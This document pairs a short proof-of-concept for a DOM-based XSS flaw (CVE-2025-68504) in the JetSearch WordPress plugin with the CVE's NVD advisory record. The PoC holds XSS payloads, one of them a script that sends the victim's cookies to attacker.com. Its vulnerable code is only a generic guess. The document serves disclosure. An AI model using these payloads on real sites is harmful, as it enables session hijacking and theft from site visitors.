CVE-2025-68504

// CVE-2025-68504 DOM-Based XSS PoC for JetSearch Plugin // This PoC demonstrates how an attacker could exploit the XSS vulnerability // Attack vector: Inject malicious JavaScript through search parameters // The vulnerability exists in the client-side JavaScript processing of user input // PoC payload that can be used in search functionality: const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; const maliciousPayload2 = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Example attack scenario: // 1. Attacker crafts a URL with malicious search parameter // 2. Victim visits the URL // 3. JetSearch JavaScript processes the input without proper sanitization // 4. Malicious code executes in victim's browser // Vulnerable code pattern (simplified): // document.getElementById('search-results').innerHTML = userInput; // To test, insert this payload in the JetSearch search field or URL parameter

{"cve": {"id": "CVE-2025-68504", "sourceIdentifier": "[email protected]", "published": "2025-12-29T22:15:43.163", "lastModified": "2026-04-23T15:35:55.957", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetSearch jet-search allows DOM-Based XSS.This issue affects JetSearch: from n/a through <= 3.5.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-search/vulnerability/wordpress-jetsearch-plugin-3-5-16-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}